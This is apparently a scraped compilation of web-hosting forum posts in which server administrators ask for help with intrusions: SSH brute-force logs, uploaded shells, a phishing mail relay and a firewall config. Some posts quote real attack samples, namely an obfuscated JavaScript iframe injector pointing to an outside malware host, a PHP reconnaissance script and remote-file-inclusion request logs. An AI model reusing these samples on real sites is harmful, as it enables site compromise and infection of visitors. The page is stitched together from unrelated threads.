Usually I just block offending machines that try to get into our systems and move on but for the last 2 days I have started notifying the contacts on the arin info for offending IP's. I guess I am trying to do my part to make the internet a better place?
Is this stuff largely ignored?
Is anyone else doing this?
Is there an easier way?
I have started seeing the following error in the Event Viewer every day:
"An anonymous session connected from xxx.xxx.xxx.xxx has attempted to open an LSA policy handle on this machine. The attempt was rejected with STATUS_ACCESS_DENIED to prevent leaking security sensitive information to the anonymous caller. The application that made this attempt needs to be fixed. Please contact the application vendor. As a temporary workaround, this security measure can be disabled by setting the HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaTurnOffAnonymousBlock DWORD value to 1. This message will be logged at most once a day."
The IP address is different every time. It is not an internal IP address or any I recognize. It is from the outside. I have read about this in the Microsoft site but it only mentioned how it might be an internal service/application attempting the access. This is not my case since I am seeing remote IP addresses. Anyone can help me dig deeper into this? How can I find out more about what's going on?
A new client has just opened up an account and the first thing hes installed at a few scripts called r57shell and c99shell. I'm not very familiar with these two scripts, but by the looks of them their root kits of some sort. Amd I correct in thinking this?
The account has been susspended for the time being.
Code:
Mon May 18 15:17:08 2009 lfd: *Suspicious File* /tmp/perl_install.work.TLoX0YtaJBrzShwA/.cpan [someuser:someuser
] - Suspicious directory
The 'someuser' is a legitimate user on the server, an auto body website setup last October.
The content of the directory:
Quote:
root@server [/tmp/perl_install.work.TLoX0YtaJBrzShwA/.cpan/CPAN]# ls -lh
total 3.0K
drwx------ 2 someuser someuser 1.0K May 16 17:54 ./
drwx------ 3 someuser someuser 1.0K May 16 17:54 ../
-rw-r--r-- 1 someuser someuser 361 May 16 17:54 MyConfig.pm
File content:
Code:
$CPAN::Config->{'cpan_home'} = "/tmp/perl_install.work.TLoX0YtaJBrzShwA/.cpan";
$CPAN::Config->{'build_dir'} = "/tmp/perl_install.work.TLoX0YtaJBrzShwA/.cpan/build";
$CPAN::Config->{'histfile'} = "/tmp/perl_install.work.TLoX0YtaJBrzShwA/.cpan/histfile";
$CPAN::Config->{'keep_source_where'} = "/tmp/perl_install.work.TLoX0YtaJBrzShwA/.cpan/sources";
1;
__END__
Code:
root@server [/tmp/perl_install.work.TLoX0YtaJBrzShwA/.cpcpan/STABLE]# ls -lh
total 3.0K
drwx------ 2 someuser someuser 1.0K May 16 17:54 ./
drwx------ 3 someuser someuser 1.0K May 16 17:54 ../
-rw-r--r-- 1 someuser someuser 735 May 16 17:54 modules.versions
I had an untapped image upload site on my server which i forgot. Some guys or children upload something noxious and neutralize all the "index.php". This was a hack attempt with SSH.
We noticed that, close this account delete uploaded files. But there is a quirky problem. Any of index.php's isn't working after this attempt. Index file is working after change its name, example "mindex.php".
We updated all the services, rebuild apache but don't working. We can't use any index.php on the server.
Additionally, there are 34 possible trojans appear on the server. I tried to delete them with BitDefender but can't do that.( I checked that WHM / Scan for Trojan Horses )
Just an FYI - we have been monitoring some attempts from europe. Here is a file that they were trying to include using a hole in PHPCoin's URL handler:
[URL removed] stringa.txt
The attempt was coming from linux.htd-information.dk
I have reported this to BurstNET admin/abuse/NOC and have added a line to block them for now.
Does this belong to anyone??? Nslookup/dig reveals nothing.
This is my /var/log/messages
Mar 19 19:24:50 ginger sshd[11565]: Failed password for root from 66.197.245.241 port 46346 ssh2
Mar 19 19:24:50 ginger sshd[11565]: reverse mapping checking getaddrinfo for 66-197-245-241.hostnoc.net failed - POSSIBLE BREAK-IN ATTEMPT!
Mar 19 19:24:51 ginger sshd[11567]: Failed password for root from 66.197.245.241 port 46407 ssh2
Mar 19 19:24:52 ginger sshd[11567]: reverse mapping checking getaddrinfo for 66-197-245-241.hostnoc.net failed - POSSIBLE BREAK-IN ATTEMPT!
Mar 19 19:24:53 ginger sshd[11569]: Failed password for root from 66.197.245.241 port 46468 ssh2
Mar 19 19:24:53 ginger sshd[11569]: reverse mapping checking getaddrinfo for 66-197-245-241.hostnoc.net failed - POSSIBLE BREAK-IN ATTEMPT!
Mar 19 19:24:55 ginger sshd[11571]: Failed password for root from 66.197.245.241 port 46531 ssh2
Mar 19 19:24:55 ginger sshd[11571]: reverse mapping checking getaddrinfo for 66-197-245-241.hostnoc.net failed - POSSIBLE BREAK-IN ATTEMPT!
Mar 19 19:24:57 ginger sshd[11573]: Failed password for root from 66.197.245.241 port 46584 ssh2
Mar 19 19:24:57 ginger sshd[11573]: reverse mapping checking getaddrinfo for 66-197-245-241.hostnoc.net failed - !POSSIBLE BREAK-IN ATTEMPT
my referals logs that I keep on a website, I have come accross the following this morning, Is this some one who is trying to gain access to the server etc.
[url]
[url]
[url]
[url]
[url]
I have the Ip addresses that they have come from and it resolves to a Russian (I Think) website.
Im just looking through all the folders on the server now and no data has been comprimised as far as I can see and im going to use the query strings in order to block access and also deny access via ip address.
see the log entries below:
LogFormat "%h %l %u %t "%r" %>s %b "%{Referer}i" "%{User-Agent}i" "%{X-Forwarded-For}i""
1.2.3.4 - -[12/Sep/2007:11:15:38 +0900] "GET /~kjm/security/ml-archive/bugtraq/2006.04/msg00283.html//footer.inc.php?settings[footer]=[url]HTTP/1.1" 404 268 "-" "libwww-perl/5.808" "-"
1.2.3.4 - - [12/Sep/2007:11:16:00 +0900] "GET //footer.inc.php?settings[footer]=[url] HTTP/1.1" 404 213 "-" "libwww-perl/5.808" "-"
What can you say from the above log entries?
recently i found that a javascript code is appended to my index.aspx file on the server !
here is the code :
Code:
<script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%
69%66%72%61%6d%65%20%6e%61%6d%65%3d%37%34%39%61%30%36%30%34%33%61%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%61%6c%6c%74%72%61%66%66%2e%72%75%2f%6c%6f%6c%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%
6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%33%31%30%38%34%29%2b%27%35%32%30%62%33%36%35%30%33%5c%27%20%77%69%64%74%68%3d%37%
36%20%68%65%69%67%68%74%3d%34%30%39%20%73%74%79%6c%65%3d%5c%27%64%
69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%
65%3e%27%29")); </script>
and this is the decoded one :
Code:
window.status='Done';document.write('<iframe name=749a06043a src='http://alltraff.ru/lol.php?'+Math.round(Math.random()*31084)+'520b36503' width=76 height=409 style='display: none'></iframe>')
i need to know 2 things :
1- is it possible that my developer did something wrong and hackers can append anything to his code ? . or it is a server issue and my host provider servers hacked !?
2- does anybody know anything about this piece of code ? (i dont mean it's action , i want to know ! is it known ?)
When I check statistics for my site, I got this link: [url]
When I click on this site, it run very strange. Are they going to hack me or what they want to do with my site by using the scripts on their site?
after checking this: [url]
I have searched and searched but can't find anything related here, on Cpanel.net or through google.
I have a Linux/Cpanel machine. Hosts about 15-20 websites. No matter which site you try to visit it is redirected to some malware site or something that tries to get you download a program (Clearly a virus or trojan).
I cannot find any info on this or how to even stop the redirects.
I am having issue with my server. Someone is trying to execute some code and possibly trying mysql injection method.
I have pasted the code below.
Please suggest what can be done in this case.
Regards
Gagandeep
+++++++++++
The person tried to use different IPs and different websites to execute the code.
URL >> IP
[url]
[url]
[url]
ftp://212.11.127.86/tmp/trem/1? >> 87.118.118.156
There are many such queries under my logs.
The person is using different IPs, so, i can't even block that many IPs.
++++++++++++
The CODE
<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number); }
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024); }
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024); }
return sprintf("%0.2f Gb", $number/1024/1024/1024); }
echo "Osirys<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
echo "0sirys was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;
?>
My firewalls block IP's from multiple failed login attempts. The FW on one server has been blocking someone from The Planet. My servers are at GNAX, so why is someone from TP trying to get in?
This is what the system emails tell me:
IP: 70.87.XX.X (2.27.XXXX.static.theplanet.com)
Failures: 5 (sshd)
Interval: 95 seconds
Blocked: Yes
I haven't really delved into it yet but my wife and I have a personal website with pictures and what-not which was hacked by some Saudi Arabian hacker
site is www.nickandkathi.com
I dont' have the index files with me but is all Ineed to do just re-load my index page on my PC to my file? I'm hosted with hostgator.
How do I stop this from happening again?
May 28 16:23:06 server sshd(pam_unix)[13017]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.56.106.248 user=root
I got so many of this line in my server log.
First of all, where is the server log located anyway? I got this from SIM.
May 28 16:23:09 server sshd(pam_unix)[13037]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.56.106.248 user=root May 28 16:23:11 server sshd(pam_unix)[13045]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.56.106.248 user=root May 28 16:23:11 server sshd(pam_unix)[13061]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.56.106.248 user=root May 28 16:23:13 server sshd(pam_unix)[13066]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.56.106.248 user=root May 28 16:23:13 server sshd(pam_unix)[13067]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.56.106.248 user=root May 28 16:23:13 server sshd(pam_unix)[13071]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.56.106.248 user=root May 28 17:00:02 server ntpdate[19626]: adjust time server 192.5.41.40 offset 0.343837 sec May 28 18:00:07 server ntpdate[28711]: adjust time server 192.5.41.40 offset 0.344493 sec May 28 19:00:06 server ntpdate[3218]: adjust time server 192.5.41.40 offset 0.342326 sec May 28 20:00:02 server ntpdate[8283]: adjust time server 192.5.41.40 offset 0.341603 sec May 28 21:00:07 server ntpdate[13899]: adjust time server 192.5.41.40 offset 0.343715 sec May 28 21:37:45 server sshd(pam_unix)[17268]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=217.156.110.24 user=root May 28 21:37:45 server sshd(pam_unix)[17271]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=217.156.110.24 user=root May 28 21:37:45 server sshd(pam_unix)[17270]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=217.156.110.24 user=root May 28 21:37:45 server sshd(pam_unix)[17254]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=217.156.110.24 user=root
I have not been able to login to my cPanel from my desktop which runs WinXP service Pack3. Both Firefox and Internet Explorer returns the following error message
Login Attempt Failed!
Also, I am unable to connect using Filezilla Client.
However, I am able to connect to the same cPanel on my colleague's desktop which runs WinXP service Pack3 using Firefox browser or IE. We both share the same internet modem.
- I have cleared all the cookies and private data on my desktop. Still the problem persist.
- I changed to a different user on my desktop, but still could not login.
- I changed my desktop IP address but still I could not log in.
I use DSLinux from within Innotek Virtual Box and I was able to login to the same cPanel with the same details that were rejected under WinXP.
Please anyone with a solution should please advise me on what to do. Thanks in advance.
It is not convenient going to my colleagues desk to access my cPanel.
whenever I attempt to install RoR, libsafe stops me, how do I diable libsafe so I can install RoR, then re-enable libsafe.
[root@server1 ~]# gem install rails --include-dependencies
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /usr/bin/ruby-bin.
uid=0 euid=0 pid=20960
Call stack:
0x4c0e6871 /lib/libsafe.so.2.0.16
0x4c0e6c5d /lib/libsafe.so.2.0.16
0x80549b8 /usr/bin/ruby-bin
0x8054a52 /usr/bin/ruby-bin
0x80556af /usr/bin/ruby-bin .....
one of my clients seems to be attracting unwanted attention, it seems as if bots or something along those lines are attempting to exploit my box, while they are unsuccessful it would seem. I was wdonering if there was a rule I could put in Mod_Security that would ban them for attempting to
GET "/awstatsf/logger.php?action=log&type=Hybrid&host=hacked101&"
I just had a client whose hosting account was automatically suspended due to him not paying the hosting bill. He opened up a ticket and asked why his site is suspended. I informed him that he didn't pay the bill and the system suspended it automatically. I told him that the system generated e-mails as well and he said he didn't get them while I looked in WHCMS, it said it DID get sent to him. Client said his website was DDOS'd because it used 3 GB of BW in one month and i told him there was no DDOS attack. The kind of site he had (100+ users online at one time, vBulletin forum), it was common to use that much.
The client is now saying that he is going to hack attempt the servers to see if they are DDOS Protected or not. Of Course, my servers are protected (WiredTree), so should I be worried?
His quote:
Quote:
I'LL TEST TO SEE IF YOU HAVE DDOS PROTECTION...TIME TO GATHER MY HACKING BUDDYS.
Also, I have notified WiredTree about this just right now.
I believe my server has been hacked as I did the top and observe as follows
top - 15:53:39 up 12 days, 3:16, 2 users, load average: 7.87, 10.30, 11.10
Tasks: 789 total, 3 running, 771 sleeping, 0 stopped, 15 zombie
Cpu(s): 20.4% us, 9.3% sy, 4.8% ni, 35.0% id, 30.1% wa, 0.4% hi, 0.0% si
Mem: 2074364k total, 2048296k used, 26068k free, 72136k buffers
Swap: 2040244k total, 2076k used, 2038168k free, 1286884k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
22488 root 27 12 3376 1352 508 R 16.8 0.1 12:08.63 rsync
15370 named 20 0 84020 30m 1936 S 4.2 1.5 20:15.72 named
16732 root 16 0 4684 1456 868 S 2.9 0.1 0:01.07 ftp
22489 root 27 12 5444 1860 1420 R 2.9 0.1 3:27.51 ssh
26448 mailnull 17 0 9016 4088 2832 D 2.9 0.2 0:00.11 exim
26436 mailnull 16 0 0 0 0 Z 2.4 0.0 0:00.09 exim <defunct>
477 root 15 0 0 0 0 D 2.1 0.0 217:34.28 kjournald
26408 mailnull 16 0 8964 4584 3244 D 2.1 0.2 0:00.08 exim
26442 mailnull 16 0 0 0 0 Z 2.1 0.0 0:00.08 exim <defunct>
16975 root 15 0 4684 1444 856 S 1.6 0.1 0:00.56 ftp
23071 root 16 0 3760 1420 764 R 1.6 0.1 0:05.08 top
26477 root 16 0 8616 3892 2656 D 1.6 0.2 0:00.06 exim
26486 root 15 0 9420 3888 2656 D 1.3 0.2 0:00.05 exim
16694 root 15 0 4684 1436 848 S 1.0 0.1 0:00.63 ftp
16840 root 15 0 4684 1448 860 S 1.0 0.1 0:00.43 ftp
16865 root 15 0 4684 1444 856 S 1.0 0.1 0:00.72 ftp
16932 root 15 0 4684 1444 856 S 1.0 0.1 0:00.42 ftp
17275 root 15 0 4684 1448 860 S 1.0 0.1 0:00.57 ftp
26434 mailnull 16 0 8972 3956 2704 D 1.0 0.2 0:00.04 exim
26437 mailnull 15 0 8964 3920 2688 D 1.0 0.2 0:00.04 exim
26451 mailnull 15 0 8968 3932 2696 S 1.0 0.2 0:00.04 exim
26489 root 18 0 10568 3912 2656 S 1.0 0.2 0:00.04 exim
5310 root 15 0 40104 35m 1888 S 0.8 1.8 10:55.77 tailwatchd
16771 root 15 0 4684 1448 860 S 0.8 0.1 0:00.44 ftp
16779 root 15 0 4684 1448 860 S 0.8 0.1 0:00.56 ftp
16806 root 16 0 4684 1444 856 S 0.8 0.1 0:00.71 ftp
16844 root 15 0 4684 1440 852 S 0.8 0.1 0:00.57 ftp
16854 root 15 0 4684 1444 856 S 0.8 0.1 0:00.72 ftp
16857 root 15 0 4684 1444 856 S 0.8 0.1 0:00.63 ftp
16868 root 15 0 4684 1448 860 S 0.8 0.1 0:00.79 ftp
16885 root 15 0 4684 1448 860 S 0.8 0.1 0:00.68 ftp
16982 root 15 0 4684 1440 852 S 0.8 0.1 0:00.40 ftp
17008 root 16 0 4684 1448 860 S 0.8 0.1 0:00.69 ftp
17038 root 15 0 4684 1448 860 S 0.8 0.1 0:01.01 ftp
17082 root 15 0 4684 1448 860 S 0.8 0.1 0:00.71 ftp
17106 root 15 0 4684 1444 856 S 0.8 0.1 0:00.84 ftp
17288 root 16 0 4684 1448 860 S 0.8 0.1 0:00.69 ftp
Now..I am logged in root in two terminals and it shows
root pts/2 Apr 28 15:19 (x.x.x.x)
root pts/3 Apr 28 14:06 (x.x.x.x)
I am just wondering how can the root perform ftp tasks where my root login is sitting idle and what about pts/0 and pts/1
I stopped the ftp service in cpanel and it is started automatically..
Don't know if anyone else saw this.
[url]
Once again points out the importance of backups.
I'm not a server admin, but help my client with basic it tasks...we built their website for them and just sort of fell into helping them out when they need it. My client has a vps with knownhost, the vps is only used for hosting the email for their domain, the website is hosted on another server. 4 days ago, I logged in and checked the mail queue and found thousands of emails in the queue that were phishing emails trying to get passwords from the recipients for a service called moneybookers.com. According to knownhost, the hacker had guessed the password of one of the email accounts and had started sending mail through it. The hacked account was deleted that day as it was a test account and was not needed anyways. As soon as the account was deleted, the phishing mails stopped being sent. Knownhost reassured us the server hadn't been breached, but we changed the root password anyways. Around 15k to 20k emails were sent in a 14 hour period. Since that time we have appeared on a few blacklsts and have a negative senderbase score and so any company that uses senderbase is obviously rejecting our mail... My client has just hired assuretymail services to get accredited and has invested a lot of money into streamlining mail delivery, so this is obviously devastating to them.
Today I logged in and again found 1000's of email in queue, yet again, and this time they were paypal phishing emails. I immediately changed the passwords of all 50 of the email accounts, including the root. It looks like around 14k or so emails were sent.
Trying to understand how this could happen yet again, knownhost is saying that, yet again the account "test", the same account used last time was used for sending out emails. I was confused by how a previously deleted account could be used to again begin sending emails even though it was deleted 4 days ago. According to knownhost "[FONT='Verdana','sans-serif']The only reasonable explanation for this activity would be that exim cached credentials for system user "test" and didn't refresh its internal cache since the moment when "test" account was removed. To force exim to refresh the cache exim mail server was restarted on your system, so it shouldn't be possible to use that (non-existent) account again to relay the mail through your system."[/FONT]
[FONT='Verdana','sans-serif'][/FONT]
[FONT='Verdana','sans-serif']Being that I'm not a server admin and I rely on knownhost for server admin basics, am I out of line thinking that knownhost dropped the ball here? I mean is it obvious that a restart was in order after the first hack or is this just a bad chance scenario. Is the scenario they are describing plausible?[/FONT]
my VPS provider just rebuilt my VPS after many hack attacks.
From some days I am getting emails from firewall that someone login to my VPS/mySQL using SSH.
I don't know what they do, but they don't disturb any account. Only some downtime feel during this. But last night my VPS stop working so my provider rebuilt VPS.
how I can secure my VPS now. I have Cpanel installed.
Physical hack of my server?
My server (cent OS4, plesk 8) was frozen for a day and the NOC had to reboot it, here is the mail I got from my host:
>Your server was frozen, with a kernel panic. Ensure that you check your logs closely to determine how this happened,
After looking at the message log here is the part of the log when the crash happened:
Is this really a kernel panic, I am not sure...
Dec 8 09:05:36 server kernel: input: AT Translated Set 2 keyboard on isa0060/serio0
Dec 8 09:05:37 server hal.hotplug[2701]: DEVPATH is not set
Dec 8 09:05:37 server hal.hotplug[2702]: DEVPATH is not set
Dec 8 09:05:42 server login(pam_unix)[2670]: bad username [ ]
Dec 8 09:05:42 server login[2670]: Authentication started for user
Dec 8 09:05:44 server login[2670]: FAILED LOGIN 1 FROM (null) FOR , Authentication failure
Dec 8 09:05:50 server login(pam_unix)[2670]: authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost= user=root
Dec 8 09:05:50 server login[2670]: Authentication started for user root
Dec 8 09:05:53 server login[2670]: FAILED LOGIN 2 FROM (null) FOR root, Authentication failure
Dec 8 09:05:57 server login(pam_unix)[2671]: authentication failure; logname=LOGIN uid=0 euid=0 tty=tty2 ruser= rhost= user=root
Dec 8 09:05:57 server login[2671]: Authentication started for user root
Dec 8 09:05:59 server login[2671]: FAILED LOGIN 1 FROM (null) FOR root, Authentication failure
Dec 8 09:06:00 server shutdown: shutting down for system reboot
Dec 8 09:06:00 server init: Switching to runlevel: 6
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
Dec 9 05:52:36 server syslogd 1.4.1: restart.
It looks to me like if someone has physically connected a keyboard and logged in at the NOC.
I use Iptable to restrict ssh access to my IP each time I connect remotly, so I dont' think a remote connection has been possible.
any idea about this line:
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
I think it's just corupted data the was written when the server shutt down.
Also i didn't find any other signes of kernel panic in the logs
Looking at the httpd error log I found this lines before the crash:
[Sat Dec 08 00:44:40 2007] [error] [client 213.215.41.138] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /w00tw00t.at.ISC.SANS.DFind
[Sat Dec 08 00:44:40 2007] [error] [client 213.215.41.138] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /w00tw00t.at.ISC.SANS.DFind
apparently somone doing server scan. maybe the 2 events are correlated and the server freeze could have been a result of some buffer overflow attack, but i sould be finding some evidences of this on the apache logs?
What direction should I take to investigate a bit further on this server freeze?
I try to enhance my server security and prevent local hack but it seem useless.
I tried to chmod home/user/public_html to 711; disable functions; enable php open_basedir.
I can stop some popular shell such as c99shell.php but server can be hacked local.
Anyway to prevent it completely?
My company website URL is something along these lines: (I won't give the full URL because I guess that would be classed as advertising.)
www dot olapXXXXXX dot com
Now, we've discovered today that there are links on the site that look like this:
www dot olapXXXXXXdotcom/pornsex.dhtml
These links and pages have not been created by us. The link foes to a page advertising various porn, poker, viagra sites etc.
I've checked the FTP and the pages do not seem to be on the server.
So I'm a little bemused and stuck! How did someone piggyback on our site in this way?
The pages are indexed in Google so if you do a search for our company name and 'strip poker' then the link shows up in Google.
Does anyone have any idea what's going on? We own the URL, we don't believed our password has been compromised, the domain has not expired.
I think perhaps it's something to do with DHTML? We don't use it but all the bad pages do.
The links are not accessible from any of our pages (as for as I can see) but it's still a problem because they show up in Google.
A hack program (i do not know what its name is) cause following error via vBulletin or any forum
Code:
This Account Has Exceeded Its CPU Quota
i do not know how i can find out accesing ip and block access request
and
i do not know its runining system ?
i m in shared host (have SSH account)
I keep seeing sa login failure on Event viewer Application log for MS SQL 2005. I'm tired of blocking off the failed attempt ip. A huge portion of them seem to come from China and Estern Euro. Should i just block off those region? Is there a better way for securing SQL2005?
View 1 Replies View RelatedCurrently having a problem with proftpd on my centos plesk 8.1 server.
During large uploads, lets say around 10 MB the FTP connection fails within 5 minutes or so saying:
"A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond."
I have asked for help from my server provider but they have tried and are now unable to help.
I currently have the APF firewall in my server.
Has anyone experienced this?
Below is the APF config file that i currently have & the proftpd config files that i have, if anyone can help it would be really really appreciated
APF CONFIG:
Code:
#!/bin/sh
#
# APF 0.9.6 [apf@r-fx.org]
#
# NOTE: This file should be edited with word/line wrapping off,
# if your using pico please start it with the -w switch
# (e.g: pico -w filename)
#
##
# [Devel Mode]
# !!! Do not leave set to (1) !!!
# When set to enabled; 5 minute cronjob is set to stop the firewall. Set
# this mode off (0) when firewall determined to be operating as desired.
##
# Set firewall cronjob (devel mode)
# 1 = enabled / 0 = disabled
DEVEL_MODE="0"
##
# [Main]
##
# The installation path of APF; this can be changed but it has not
# been tested what would happen.
INSTALL_PATH="/etc/apf"
# Untrusted Network interface(s); all traffic on defined interface will be
# subject to all firewall rules. This should be your internet exposed
# interfaces. Only one interface is accepted for each value.
# NOTE: The interfacing structure is being worked towards support of MASQ/NAT
IFACE_IN="eth0"
IFACE_OUT="eth0"
# Trusted Network interface(s); all traffic on defined interface(s) will by-pass
# ALL firewall rules, format is white space or comma seperated list.
IFACE_TRUSTED=""
# Enable virtual network subsystem; creats independent policy ruleset for each
# ip on a system (pulls data from 'ip addr list') to /etc/apf/vnet/ip.rules
# Template is located in the vnet/ folder for rule files. This feature can
# reduce apf start/stop performance and is not recommend for systems with more
# than 255 (/24) ip's. [0 = Disabled / 1 = Enabled]
SET_VNET="0"
# Support Monolithic kernel builds [no LKM's]. This mode of operation is
# not really supported and you use at your own risk.
SET_MONOKERN="0"
# Verifies that all inbound traffic is sourced from a defined local gateway MAC
# address. All other traffic that does not match this source MAC address will be
# rejected as untrusted traffic. It is quite trivial to forge a MAC address and as
# such this feature executes NO default accept policy against this MAC address.
VF_LGATE=""
# Verifies that the IF and IFACE_TRUSTED interfaces are actually routed (/sbin/route)
# to something. If not then chances are APF will not start properly if at all.
VF_ROUTE="1"
# Verifies that crond service is running when DEVEL_MODE=1; if not then APF will not
# try to load as if lock-up occures no cron service to flush firewall
VF_CROND="1"
# Verifies that the current system uptime is greater than this value before APF
# can activate. This is to prevent on-boot lockup issues or delays due to excessive
# amount of firewall rules. Value is in seconds; should you wish to disable this
# feature, simply set VF_UTIME to 0 value. !! NOTE: APF WILL NOT START ON IT's OWN;
# IT WILL EXIT WITH FATAL ERROR BELOW SET UPTIME !!
VF_UTIME="0"
##
# [Packet Filtering/Handling]
##
# How to handle TCP packet filtering?
#
# RESET (sends a tcp-reset; TCP/IP default)
# DROP (drop the packet; stealth ?)
# REJECT (reject the packet)
TCP_STOP="DROP"
# How to handle UDP packet filtering?
#
# RESET (sends a icmp-port-unreachable; TCP/IP default)
# DROP (drop the packet; stealth ?)
# REJECT (reject the packet)
# PROHIBIT (send an icmp-host-prohibited)
UDP_STOP="DROP"
# How to handle all other packet filtering? (icmp,arp,igmp)
#
# DROP (drop the packet)
# REJECT (reject the packet)
DSTOP="DROP"
# The sanity options control the way packets are scrutinized as
# they flow through the firewall. The main PKT_SANITY option is a
# top level toggle for all SANITY options and provides general
# packet flag sanity as a pre-scrub for the other sanity options
PKT_SANITY="1"
# Block any packets that do not conform as VALID; this feature
# is safe for most but some may experience protocol issues with
# broken remote clients
PKT_SANITY_INV="0"
How to best secure WP from any attacks, hack attempts and others?
View 4 Replies View Related
